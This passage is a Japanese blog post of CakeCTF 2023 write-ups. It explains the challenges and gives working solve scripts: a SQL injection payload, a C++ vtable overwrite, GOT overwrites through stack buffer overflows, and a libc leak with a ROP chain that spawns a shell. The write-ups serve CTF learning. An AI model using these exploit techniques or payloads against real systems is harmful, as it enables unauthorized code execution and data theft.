CakeCTF 2023 writeups - shibh308’s diary

2023/11/11-2023/11/12に行われた CakeCTF 2023 のupsolve。一部の問題は既に解いていたが、AlpacaHack に問題が収録されていい機会なので全部解き直すことにした。

Country DB (Web, 246 solves)
vtable4b (Pwn, 217 solves)
towfl (Web, 171 solves)
nande (Rev, 93 solves)
simple-signature (Crypto, 88 solves)
bofww (Pwn, 75 solves)
Cake Puzzle (Rev, 56 solves)
Memorial Cabbage (Pwn, 45 solves)
janken vs yoshiking 2 (Crypto, 43 solves)
bofwow (Pwn, 22 solves)
imgchk (Rev, 26 solves)

Country DB (Web, 246 solves)

Country Codeの入力画面があり、クエリを投げるとCountry Codeに対応する国の名前が得られる。
app.py にある実装を読むと、cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") というSQLで database.db からデータを読みだしているらしい。 {code} にはエスケープされていない入力文字列がそのまま入る。
init_db.py を読むと、データベースには国旗リストの他に flag というテーブルが存在し、そこにフラグが保存されていることが分かる。クエリを上手く設定してSQLインジェクションを起こし、この値を得たいというのが問題の趣旨。

SQLインジェクションをするにあたり、以下の部分をバイパスする必要がある。

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

code が文字列であった場合長さ2の文字列しか受け付けず、この制限はかなり厳しいもののように思えるが、実際には code の値は flask.request.get_json()['code'] によって得られているため、code にはdictやlistを入れることができる。そのため、payloadを ["文字列1", "文字列2"] のように与えることで、文字列長の制限や ' の存在判定を無視してこれをバイパスできる。
SQLインジェクションの方法はいくつかあるが、今回は union select * from flag のような文字列をクエリに追加する方針で解いた。リストを使ったりSQLへの代入部分が UPPER('') で囲まれていたりする都合で " や ' をうまく対応付けするのが難しいが、その辺りは頑張って調整。
最終的なpayloadは ["') union select * from flag where (1 OR '", "' = '"] となり、これでフラグを得られた。

vtable4b (Pwn, 217 solves)

ソースコードなしで、インスタンスに nc で接続すると以下のような画面が表示される。

Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:

  class Cowsay {
  public:
    Cowsay(char *message) : message_(message) {}
    char*& message() { return message_; }
    virtual void dialogue();

  private:
    char *message_;
  };

An instance of this class is allocated in the heap:

  Cowsay *cowsay = new Cowsay(new char[0x18]());

You can
 1. Call `dialogue` method:
  cowsay->dialogue();

 2. Set `message`:
  std::cin >> cowsay->message();

Last but not least, here is the address of `win` function which you should call to get the flag:
  <win> = 0x562e43bcb61a

1. Use cowsay
2. Change message
3. Display heap
> 3

  [ address ]    [ heap data ]
               +------------------+
0x562e45ad6ea0 | 0000000000000000 |
               +------------------+
0x562e45ad6ea8 | 0000000000000021 |
               +------------------+
0x562e45ad6eb0 | 0000000000000000 | <-- message (= '')
               +------------------+
0x562e45ad6eb8 | 0000000000000000 |
               +------------------+
0x562e45ad6ec0 | 0000000000000000 |
               +------------------+
0x562e45ad6ec8 | 0000000000000021 |
               +------------------+
0x562e45ad6ed0 | 0000562e43bcece8 | ---------------> vtable for Cowsay
               +------------------+                 +------------------+
0x562e45ad6ed8 | 0000562e45ad6eb0 |  0x562e43bcece8 | 0000562e43bcb6e2 |
               +------------------+                 +------------------+
0x562e45ad6ee0 | 0000000000000000 |                 --> Cowsay::dialogue
               +------------------+
0x562e45ad6ee8 | 000000000000f121 |
               +------------------+

1. Use cowsay
2. Change message
3. Display heap
> 2
Message: Hello!
1. Use cowsay
2. Change message
3. Display heap
> 3

  [ address ]    [ heap data ]
               +------------------+
0x562e45ad6ea0 | 0000000000000000 |
               +------------------+
0x562e45ad6ea8 | 0000000000000021 |
               +------------------+
0x562e45ad6eb0 | 0000216f6c6c6548 | <-- message (= 'Hello!')
               +------------------+
0x562e45ad6eb8 | 0000000000000000 |
               +------------------+
0x562e45ad6ec0 | 0000000000000000 |
               +------------------+
0x562e45ad6ec8 | 0000000000000021 |
               +------------------+
0x562e45ad6ed0 | 0000562e43bcece8 | ---------------> vtable for Cowsay
               +------------------+                 +------------------+
0x562e45ad6ed8 | 0000562e45ad6eb0 |  0x562e43bcece8 | 0000562e43bcb6e2 |
               +------------------+                 +------------------+
0x562e45ad6ee0 | 0000000000000000 |                 --> Cowsay::dialogue
               +------------------+
0x562e45ad6ee8 | 000000000000f121 |
               +------------------+

1. Use cowsay
2. Change message
3. Display heap
> 1
[+] You're trying to use vtable at 0x562e43bcece8
 _______________________ 
< Hello!                >
 -----------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

1. Use cowsay
2. Change message
3. Display heap
>

プログラムの機能は「cowsayの呼び出し」「テキストの変更」「ヒープの表示」の3つであり、これを使ってアドレスが既知である win 関数を呼び出すのが目的。

まずはじめに脆弱性について。heapのビジュアライズ結果上で <-- message と指されている箇所が文字列が書き込まれる位置になるが、配列サイズが 0x18 なのに対して入力文字数には指定がなく、バッファオーバーランが起こせる。これを用いると <-- vtable for Cowsay と指されている箇所を任意のアドレスで置き換えることができる。
<-- vtable for Cowsay と指されている箇所はvtableへのポインタを表す。 vtableは関数へのポインタが並んだ配列であり、cowsayのように仮想関数を持つクラスでは、関数の呼び出し時にはvtableを経由して本来呼び出すべき関数へジャンプしているらしい。
<-- vtable for Cowsay の箇所はvtableそのものではなくvtableへのポインタを指すため、このポインタが指す先は任意の値を書き込めるような領域にしたい。今回は <-- message のアドレスを代入し、message の先頭8バイトがvtableの中身となるようにした。
その後、message の先頭8バイトを win 関数のアドレスに書き換える。こうすることにより、関数呼び出し時の遷移先が win 関数の先頭となる。
この状態でのheapの中身は下の通り。vtableの中身が win 関数となっていることが確認できる。

  [ address ]    [ heap data ]
               +------------------+
0x55f367db9ea0 | 0000000000000000 |
               +------------------+
0x55f367db9ea8 | 0000000000000021 |
               +------------------+
0x55f367db9eb0 | 000055f367c3561a |
               +------------------+
0x55f367db9eb8 | 4141414141414141 |
               +------------------+
0x55f367db9ec0 | 4141414141414141 |
               +------------------+
0x55f367db9ec8 | 4141414141414141 |
               +------------------+
0x55f367db9ed0 | 000055f367db9eb0 | ---------------> vtable for Cowsay (corrupted)
               +------------------+                 +------------------+
0x55f367db9ed8 | 000055f367db9e00 |  0x55f367db9eb0 | 000055f367c3561a |
               +------------------+                 +------------------+
0x55f367db9ee0 | 0000000000000000 |                 --> <win> function
               +------------------+
0x55f367db9ee8 | 000000000000f121 |
               +------------------+

ここからcowsayを呼び出すことで win 関数が発火し、無事にシェルを得ることができた。
ソースコードは以下の通り。

from ptrlib import *

p = Socket('***', port)

def change_message(msg):
    p.sendlineafter('3. Display heap\n> ', 2)
    p.sendlineafter('Message: ', msg)

win = int(p.recvlineafter('  <win> = '), 16)

p.sendlineafter('3. Display heap\n> ', 3)
top_addr = int(p.recvlineafter('----+\n').split()[0], 16)
str_addr = top_addr + 0x10

change_message(p64(win) + b'A' * 0x18 + p64(str_addr))

p.interactive()

towfl (Web, 171 solves)

問題文が謎の言語で記述されているクイズを解く問題。各問題は4択で100問ほどあり、全ての問題に正答するとフラグが得られるらしい。
サーバー部はFlaskで実装されており、APIは以下の通り。

api_start: 問題を作成しDBに保存
api_get_question: 問題文の一覧を返却
api_submit: 解答を保存
api_score: 得点を計算し、正答数が100ならflagを返す

問題の解答は完全にランダムに設定されるため、この部分の予測はできない。
この問題の脆弱性は問題とセッションと問題の管理部分にある。 api_start と api_score の実装を抜粋して載せる。

def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score and give the flag if score == 100
    ...

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}

このコードから、問題文はデータベース上に flask.session['eid'] をキーとして保存されていること、reply attackの防止のために得点計算時に flask.session.clear() が実行されることが分かる。しかし、得点計算時にはセッションのみがclearされ問題は削除されないため、flask.session['eid'] が同じセッションを用意する、つまり、Cookieを使いまわし続けることで問題を変えずに回答を再提出することができる。
sessionの維持が実現できた後は1～100問目まで順番に答えを全探索すればよい。
ソースコードは以下の通り。

from ptrlib import *
import requests

url = "*****"
session = "*****"

def submit(answers):
    ans_mat = [[answers[i * 10 + j] for j in range(10)] for i in range(10)]
    res = requests.post(url + "/api/submit", json=ans_mat, headers={"Cookie": f"session={session}"})
    res = requests.get(url + "/api/score", headers={"Cookie": f"session={session}"})
    data = res.json()['data']
    print(data)
    score = int(data['score'])
    return score

ans = [0 for _ in range(100)]

for i in range(100):
    r = []
    for j in range(4):
        ans[i] = j
        r.append((submit(ans), j))
    r.sort()
    ans[i] = r[-1][1]
    print(i, j)

nande (Rev, 93 solves)

Windowsの実行ファイルがデバッグ用のPDBファイルと共に渡される。実行ファイルの引数に文字列を入力するとその文字列がフラグであるかどうか判定してくれるため、処理を逆算してフラグを求めたい。
Ghidraでデコンパイルしたものを読んでPythonのソースコードに書き換えた結果が以下の通り。

from ptrlib import *

in_arr = [False for i in range(256)]   # is obtained by the input string
ans_arr = [False for i in range(256)]  # is the array of magic numbers

out_arr = [False for i in range(256)]

def nand(a, b):
    return not (a and b)

def module(a, b):
    x = nand(a, b)
    y = nand(a, x)
    z = nand(b, x)
    w = nand(y, z)
    return w

for iter in range(0x1234):
    for j in range(0xff):
        out_arr[j] = module(in_arr[j], in_arr[j + 1])
    out_arr[0xff] = module(in_arr[0xff], True)
    for j in range(0x100):
        in_arr[j] = out_arr[j]

if all([out_arr[i] == answer[i] for i in range(256)]):
    print("Correct!")

ここで、in_arr は入力テキストをバイナリにしたものであり、ans_arr はプログラム中に埋め込まれている配列となっている。
関数 module の挙動を実験により観察してみると、実はこの関数が単純なxor演算を表すことがわかる。このことから、module の引数1つと出力からもう1つの引数を復元する逆演算も同じ関数で求められる。
したがって、メイン部分の処理をそのまま逆順で行うように変更してあげることで、ans_arr から in_arr の復元を行える。
ソースコードは以下の通り。

from ptrlib import *

answer = b'\x01\x01\x01\x01\x01\x00\x00\x01\x01\x00\x00\x01\x00\x00\x01\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x01\x00\x01\x00\x01\x01\x01\x00\x00\x00\x01\x01\x00\x01\x01\x01\x01\x00\x01\x00\x01\x00\x00\x01\x00\x01\x00\x01\x01\x00\x01\x00\x00\x01\x01\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x01\x00\x01\x01\x01\x00\x00\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x01\x01\x01\x01\x00\x01\x01\x00\x00\x00\x01\x01\x00\x00\x01\x01\x00\x01\x01\x00\x00\x00\x01\x00\x01\x01\x01\x00\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x00\x01\x00\x00\x01\x01\x00\x01\x01\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x01\x01\x00\x01\x01\x00\x01\x00\x01\x00\x01\x00\x00\x01\x01\x01\x01\x01\x00\x01\x01\x00\x01\x01\x01\x00\x00\x01\x00\x01\x01\x00\x01\x01\x00\x00\x01\x00\x00\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x01\x00\x01\x01\x00'


in_arr = [False for i in range(256)]   # is obtained by the input string

ans_arr = [False for i in range(256)]  # is the array of magic numbers
for i in range(256):
    ans_arr[i] = (answer[i] == 1)

def nand(a, b):
    return not (a and b)

def module(a, b):    # xor
    x = nand(a, b)
    y = nand(a, x)
    z = nand(b, x)
    w = nand(y, z)
    return w

def module_inv(b, w): # xor_inv = xor
    return module(b, w)

out_arr = ans_arr

for iter in range(0x1234):
    in_arr[0xff] = module_inv(True, out_arr[0xff])
    for j in reversed(range(0xff)):
        in_arr[j] = module_inv(in_arr[j + 1], out_arr[j])
    for j in range(0x100):
        out_arr[j] = in_arr[j]

for i in range(32):
    s = ''.join(map(lambda x: str(int(x)), in_arr[i*8:i*8+8][::-1]))
    print(chr(int(s, 2) & 127), end="")

simple-signature (Crypto, 88 solves)

署名とその検証が行えるプログラムが渡される。ソースコードは以下の通り。

import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal


flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")

p = getStrongPrime(512)
g = 2


def keygen():
    while True:
        x = getRandomRange(2, p-1)
        y = getRandomRange(2, p-1)
        w = getRandomRange(2, p-1)

        v = w * y % (p-1)
        if GCD(v, p-1) != 1:
            continue
        u = (w * x - 1) * inverse(v, p-1) % (p-1)
        return (x, y, u), (w, v)


def sign(m, key):
    x, y, u = key
    r = getRandomRange(2, p-1)

    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)


def verify(m, sig, key):
    w, v = key
    s, t = sig

    return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p


def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)


if __name__ == '__main__':
    magic_word = "cake_does_not_eat_cat"
    skey, vkey = keygen()

    print(f"p = {p}")
    print(f"g = {g}")
    print(f"vkey = {vkey}")

    signal.alarm(1000)

    while True:
        choice = input("[S]ign, [V]erify: ").strip()
        if choice == "S":
            message = input("message: ").strip()
            assert message != magic_word

            sig = sign(h(message), skey)
            print(f"(s, t) = {sig}")

        elif choice == "V":
            message = input("message: ").strip()
            s = int(input("s: ").strip())
            t = int(input("t: ").strip())

            assert 2 <= s < p
            assert 2 <= t < p

            if not verify(h(message), (s, t), vkey):
                print("invalid signature")
                continue

            print("verified")
            if message == magic_word:
                print(f"flag = {flag}")
                sys.exit(0)

        else:
            break

magic_word を除く任意の文章を任意の回数暗号化することができ、magic_word に対する有効な署名を検証させることができればフラグが得られる。
署名を検証する部分では、入力 $m, s, t$ に対して $g^m \equiv \frac{s^w}{t^v} \pmod p$ であるかどうかを判定している。 $m$ はメッセージのsha512ハッシュであり、 $w, v, p$ は全て既知。
ここで、 $M \equiv g^m \pmod p$ とおき、 $s$ と $t$ をそれぞれ $M^a \bmod p, M^b \bmod p$ で置き換えてみる。すると、判定に使われている式は $M \equiv M^{aw-bv} \pmod p$ となる。
$w, v$ が既知なため、この条件を満たすような $a, b$ の組は容易に求められる。具体的には、 $b=1, a = \frac{1+v}{w} \bmod (p-1)$ がその一例になる。
したがって、 $s=M^{\frac{1+v}{w} \bmod {(p-1)}} \bmod p, t=M \bmod p$ とすることでフラグを得られる。実際に用いたコードは以下の通り。

from ptrlib import *
from hashlib import sha512

soc = Socket("***", ***)

def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)


p = int(soc.recvlineafter("p = ").strip().decode())
g = 2
w, v = eval(soc.recvlineafter("vkey =").strip().decode())

k = (1 + v) * inverse(w, p-1) % (p-1)

magic_word = "cake_does_not_eat_cat"
msg = h(magic_word)
M = pow(g, msg, p)
s = pow(M, k, p)
t = M

soc.sendlineafter("[S]ign, [V]erify: ", "V")
soc.sendlineafter("message: ", magic_word)
soc.sendlineafter("s: ", str(s))
soc.sendlineafter("t: ", str(t))
soc.interactive()

bofww (Pwn, 75 solves)

C++のバイナリとソースコード、問題サーバーが与えられる。ソースコードは以下の通り。

#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}

checksec で確認すると、バイナリはPartial RELROでCanary有効、no PIEとなっている。
win 関数を呼び出すのがこの問題の目標で、脆弱性は char _name[0x100] に任意の長さの文字列が入力できることに起因するバッファオーバーラン。 cin >> _name で関数呼び出し元のスタックを自由に書き換えられるため、input_person の引数として渡されている name や age を書き換えることができる。
今回狙うのは std::string に対する攻撃。 std::string の先頭8バイトは文字列を表すデータへのポインタとなっており、name = _name の部分の代入演算では右辺の文字列がそのままポインタが指すアドレスに書き込まれる。この性質を用いてGOT overwriteを狙う。
name の先頭8バイトを __stack_chk_fail のGOTに書き換えて、_name の先頭8バイトを win のアドレスにする。こうすることで、 name = _name によって __stack_chk_fail のGOTが win に書き換えられ、 __stack_chk_fail が発火するタイミングでRIPを win へ飛ばすことができる。
ただし、std::string にはデータのサイズを表す部分が存在し、そのサイズが代入元の文字列長より短いとメモリの再確保が発生してしまうため、再確保を回避するためにデータのサイズも書き換える必要がある。この辺りの詳細はこの記事が詳しい。
exploitに用いたソースコードは以下の通り。これを実行することでフラグが得られた。

from ptrlib import *


e = ELF("./bofww")
p = Socket("***", ***)

payload = p64(e.symbol('_Z3winv')) + b'\0' * 0x128

payload += p64(e.got('__stack_chk_fail'))
payload += p64(0x500)
payload += p64(0x500)

p.sendlineafter("What is your first name? ", payload)
p.sendlineafter("How old are you? ", 100)
p.interactive()

Cake Puzzle (Rev, 56 solves)

Cのバイナリが与えられる。Ghidraで解析すると、q() の値が0になるまで繰り返される無限ループがあり、ループ内では入力を1文字受け取って何らかの操作を行っていることが分かる。q()==0 の際に win() が呼ばれるので、その条件を達成するのが目的。 q() の中身を適当に読むと以下のようなコードになっていることが分かる。

def q():
    c = 0
    for i in range(3):
        for j in range(3):
            if M[i][j + 1] <= M[i][j]:
                return 1
            if M[i + 1][j] <= M[i][j]:
                return 1
    return c

ここで、M はintが入った4×4の二次元配列で、マジックナンバーで初期化されている。二次元配列になっていること自体はデコンパイルされた情報のみからでは分からないが、各値に i*4 + j, (i+1)*4 + j, i*4 + (j+1) の形でアクセスしていることを考えると十中八九そうだろうと推測できる。
操作を行っている関数 e() では、入力が U,R,D,L であるときに、M[i][j]=0 と隣接するセルの値をswapしている。M[i][j]=0 のセルを空欄だと解釈すると、これはスライドパズル（15パズル）になっていると考えられる。
そうだと分かれば後はソルバを書けば良い。今回は q() に違反しているような (i, j) の組の個数を評価関数とした、同一盤面の複数回探索をハッシュで回避する幅優先探索で実装した。
コードは以下の通り。

bs = b'\xdb\x56\x58\x44\x04\x03\x23\x4c\x9f\x44\x22\x00\xb7\x96\x1a\x67\xf7\x44\x56\x6c\x87\x62\xf4\x7f\x29\xc8\xe9\x6e\x72\x2e\xda\x5c\x00\x00\x00\x00\xc9\x88\x8e\x69\x4f\x5a\xe6\x33\x54\x5c\xcc\x50\x1a\x83\x49\x13\x74\x8f\xc8\x53\xb9\x8a\x85\x25\xd8\x76\xf9\x72'

# bs to 32bit int array
def bs2ints(bs):
    return [int.from_bytes(bs[i:i+4], 'little') for i in range(0, len(bs), 4)]

ints = bs2ints(bs)

sorted = sorted(list(enumerate(ints)), key=lambda x: x[1])

ints = [0 for _ in range(16)]
for i, v in enumerate(sorted):
    ints[v[0]] = i

# ints to 2D array
M = [ints[i:i+4] for i in range(0, len(ints), 4)]

def eval(M):
    c = 0
    for i in range(3):
        for j in range(3):
            if M[i][j + 1] <= M[i][j]:
                c += 1
            if M[i + 1][j] <= M[i][j]:
                c += 1
    return c # win

def list_2d_to_int(l):
    return int.from_bytes(b''.join([i.to_bytes(4, 'little') for row in l for i in row]), 'little')

used = set()
used.add(list_2d_to_int(M))

sx, sy = 0, 0
for i in range(4):
    for j in range(4):
        if M[i][j] == 0:
            sx, sy = i, j

import heapq

# solve slidepuzzle
def solve(M):
    q = []
    heapq.heappush(q, (eval(M), M, sx, sy, []))
    while q:
        sc, m, x, y, l = heapq.heappop(q)
        for (dx, dy), c in zip([(-1, 0), (1, 0), (0, -1), (0, 1)], 'UDLR'):
            nx, ny = x + dx, y + dy
            if 0 <= nx < 4 and 0 <= ny < 4:
                nm = [[x for x in row] for row in m]
                nm[x][y], nm[nx][ny] = nm[nx][ny], nm[x][y]
                nsc = eval(nm)
                if nsc == 0:
                    print(nm)
                    return l + [c]
                hash = list_2d_to_int(nm)
                if hash not in used:
                    used.add(hash)
                    heapq.heappush(q, (nsc, nm, nx, ny, l + [c]))

ans = ''.join(solve(M))
print(ans)
from ptrlib import *
p = Socket("***", ***)
for c in ans:
    p.sendlineafter('>', c)
p.interactive()

余談だが、15パズルの正当性判定で用いている q() の実装にはちょっとした不備がある。盤面が厳密に [[0,1,2,3],[4,5,6,7],...,] のように並んでいる必要はなく、しかも行ごと、列ごとにソートされている必要もない。
単なる作問ミスだったのかどうかは分からないが、この穴が原因で15パズルを解くパートの難易度がちょうど良く下がっているといえるのかもしれない（？）。

Memorial Cabbage (Pwn, 45 solves)

CのソースコードとDockerfile、バイナリが配布されているPwn。ソースコードは以下の通り。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"

static char *tempdir;

void setup() {
  char template[] = TEMPDIR_TEMPLATE;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  if (!(tempdir = mkdtemp(template))) {
    perror("mkdtemp");
    exit(1);
  }
  if (chdir(tempdir) != 0) {
    perror("chdir");
    exit(1);
  }
}

void memo_r() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "r")))
    return;
  fgets(buf, sizeof(buf) - 1, fp);
  fclose(fp);

  printf("Memo: %s", buf);
}

void memo_w() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  printf("Memo: ");
  if (!fgets(buf, sizeof(buf)-1, stdin))
    exit(1);

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "w")))
    return;
  fwrite(buf, 1, strlen(buf), fp);
  fclose(fp);
}

int main() {
  int choice;

  setup();
  while (1) {
    printf("1. Write memo\n"
           "2. Read memo\n"
           "> ");
    if (scanf("%d%*c", &choice) != 1)
      break;
    switch (choice) {
      case 1: memo_w(); break;
      case 2: memo_r(); break;
      default: return 0;
    }
  }
}

mkdtemp で作成したtmpフォルダ以下の /memo.txt にメモファイルを生成し、読み書きを行っている。ファイルパスは毎回 strcpy で作成し、fopen と fclose でファイルディスクラプタを開いたり閉じたりしている。
ファイルのopenとcloseがともに関数内で行われているため、ファイルディスクリプタを弄って何かすることは難しい。また、fgets や fwrite にも不自然な点はなく、バッファオーバーランや書式文字列攻撃などの余地もない。
このプログラムの脆弱性は setup() 内で呼ばれている mkdtemp(template) にある。mkdtemp はディレクトリ名のテンプレートを入力にテンポラリディレクトリを作成し、ディレクトリへのパスを返すコマンドになっている。
この関数は、引数として渡した文字列（のアドレスの先にある値）の XXXXX となっている部分を直接書き換えて、引数として渡したアドレスをそのまま返す。つまり、tempdir = mkdtemp(template) の実行後は、tempdir に格納されているアドレスが template のアドレスとなるのである。
template はstack領域のある箇所を指すポインタであり、tempdir にはスタックのアドレスが入ることになる。実際にgdbで確認すると、tempdir が指すアドレスは main 関数のスタックフレームの少し上に位置することがわかる。
スタックフレームは文字通りスタックのように管理されるため、memo_r() や memo_w() が呼び出される際のスタックフレームは setup() が呼び出される際のスタックフレームと共有され、 setup() の中で tempdir が位置していたアドレスは、memo_r() や memo_w() の中では buf の一部分を指すことになる。
したがって、memo_w() で tempdir が位置していたアドレスに /flag.txt を入力し、memo_r() でファイルを読み込むことでフラグを得ることができる。
ソースコードは以下の通り。

from ptrlib import *

p = Socket("***", ***)

ofs = 4080
payload = b'A' * ofs + b'/flag.txt\0\n'
p.sendlineafter("> ", "1")
p.sendafter("Memo: ", payload)

p.interactive()

janken vs yoshiking 2 (Crypto, 43 solves)

じゃんけんに100連勝するとフラグが貰える。開始時にはプログラム中に直書きされている素数 $p$ とランダム生成の行列 $M$ が与えられ、各じゃんけんの前には $M^r \bmod p$ が与えられる。ここで、 $r \bmod 3$ が手を表しているため、 $M^r \bmod p$ の情報からうまく $r \bmod 3$ を復元したい、というのが問題の趣旨。
プログラムはsageで書かれており、要点だけ抜粋すると以下の通り。

def commit(M, m):
    while True:
        r = random.randint(2, 2**256)
        if r % 3 + 1 == m:
            break
    return M**r, r

flag = '...'
p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111
M = random_matrix(GF(p), 5)
print("[yoshiking]: Here is p: {}, and M: {}".format(p, M.list()))

while True:
    yoshiking_hand = random.randint(1, 3)
    C, r = commit(M, yoshiking_hand)
    print("[yoshiking]: my commitment is={}".format(C.list()))

    hand = input("[system]: your hand(1-3): ")
    result = (yoshiking_hand - hand + 3) % 3
    if result == 1:
        wins += 1
        if wins >= 100:
            break
    else:
        exit()

print(flag)

直書きされている $p$ を調べると OEISの表がヒットする。 $p$ はEuclid numberと呼ばれている数で、 $p-1$ が最初の $k$ 個の素数の積になっているらしい。
$p-1$ の各素因数が小さい場合、Pohlig-Hellman algorithmによって離散対数問題を効率的に解くことができる。ただし、今回の場合 $M$ が行列であるため、この方法は直接使うことができない。しかし、行列を直接扱わずに行列式を用い、 $M$ と $C$ から $|C| \equiv |M|^r \bmod p$ を満たす $r$ を求める問題として解くことで、無事に $r$ を復元できる。
コードは以下の通り。

from ptrlib import *

process = Socket("***", ***)

r = process.recvlineafter('Here is p: ')
p, M = r.split(b', and M: ')
p = int(p)
M = eval(f'list({M.decode()})')

phi = p - 1
phi_fact = list(factor(phi))

M = Matrix(GF(p), 5, 5, M)

for i in range(100):
    c = process.recvlineafter('[yoshiking]: my commitment is=')
    c = eval(f'list({c.decode()})')
    c = Matrix(GF(p), 5, 5, c)
    mdet = M.determinant()
    cdet = c.determinant()
    # sagemathのdescrete_logがPohlig-Hellmanに対応している
    r = discrete_log(cdet, mdet, GF(p).order() - 1)
    process.sendlineafter('[system]: your hand(1-3): ', str((r - 1) % 3 + 1))

process.interactive()

bofwow (Pwn, 22 solves)

bofwwのwin関数無し版。変更点はwin関数の有無だけで、防御機構なども変更なし。
まずは前回と同じ手法で __stack_chk_fail_ のGOTを main に書き換える。これで任意回の任意アドレス書き込みが可能になった。
次にlibc leakを狙う。データポインタを適当なGOTのアドレスに指した std::string 構造体を 0x404000-0x405000 の書き込み可能領域内に作り、バッファーオーバーフローで $rbp をその領域内に持ち込んでlibcのアドレスをリークする。このとき、 __stack_chk_fail_ のGOTを ret; を指すように変更しておき、main 関数の前半部分から脱出できるようにしておく。
このとき、std::string のデストラクタによってデータポインタの先がfreeされてしまうため、読みたいアドレスの直前のアドレスにブロックのサイズを書いておいてエラーを抑制する。
libcがleakできたらROPで system を呼べば良い。ROPのペイロードが入る部分のうち一部は std::string が入っていた部分と重なるため、途中の命令によってペイロードの一部が破壊されてしまうことがある。そのため、add rsp, 0x28; ret; のようなgadgetを使ってROPのペイロードに std::string 用の領域を作る必要がある。
最終的なコードは以下の通り。

from ptrlib import *

e = ELF("./bofwow")
p = Socket("***", ***)
libc = ELF("./libc.so.6")

def aaw(addr, value):
    payload = p64(value) + b'\0' * 0x128
    payload += p64(addr)
    payload += p64(0x500)
    payload += p64(0x500)
    p.sendlineafter("What is your first name? ", payload)
    p.sendlineafter("How old are you? ", 100)

# set ret2main hook
aaw(e.got('__stack_chk_fail'), e.symbol('main'))

addr = 0x404230 # leak target address

rbp = 0x404aa8
aaw(addr - 8, 48)
aaw(rbp - 0x40, addr)
aaw(rbp - 0x38, 8)
aaw(rbp, 0x404800)
aaw(rbp + 8, e.symbol('main')) # input_person

# libc leak payload
payload = p64(next(e.gadget('ret;'))) + b'\0' * 0x108
payload += p64(rbp)
payload += p64(0x4013e0) # return addr (immediately after input_person)
payload += p64(0)
payload += p64(0)
payload += p64(e.got('__stack_chk_fail'))
payload += p64(0x500)
payload += p64(0x500)
p.sendlineafter("What is your first name? ", payload)
p.sendlineafter("How old are you? ", 100)

res = u64(p.recvlineafter('Name: '))
ofs = 0x7f690f689000 - 0x7f690faf38f8
libc.base = res + ofs

payload = b'\0' * 280
payload += p64(libc.base + 0x45f25) # add rsp, 0x28; ret;
payload += p64(0)
payload += p64(0)
payload += p64(0x404340) # 書き込み先, validなアドレスを適当に指定
payload += p64(0x500)
payload += p64(0x500)
payload += p64(next(libc.gadget('ret')))
payload += p64(next(libc.gadget('pop rdi; ret')))
payload += p64(next(libc.find('/bin/sh')))
payload += p64(libc.symbol('system'))
p.sendlineafter("What is your first name? ", payload)
p.sendlineafter("How old are you? ", 100)

p.interactive()

書いていて気づいたのだが、別に $rbp を 0x404000 以降の領域に入れる必要はなかった気がする。結果的にかなり面倒な処理をしてデバッグに時間を浪費しまっていており、反省。

imgchk (Rev, 26 solves)

画像を入力として受け付けるflag checkerが渡され、元画像に載っている（であろう）flagを特定する問題。
まずGhidraで開こうとするが、本体であるはずの flag_checker 関数がうまく読み込まれない。これはプログラムが以下のようにぶつ切りになってしまっていることが原因になっている。

000000000000445f <Cake37>:
    445f:   48 8b 45 b0             mov    -0x50(%rbp),%rax
    4463:   48 89 c7                mov    %rax,%rdi
    4466:   e8 45 fe ff ff          call   42b0 <png_create_info_struct@plt>
    446b:   48 89 45 b8             mov    %rax,-0x48(%rbp)
    446f:   48 83 7d b8 00          cmpq   $0x0,-0x48(%rbp)
    4474:   0f 84 b3 03 00 00       je     482d <Cake290+0x8>
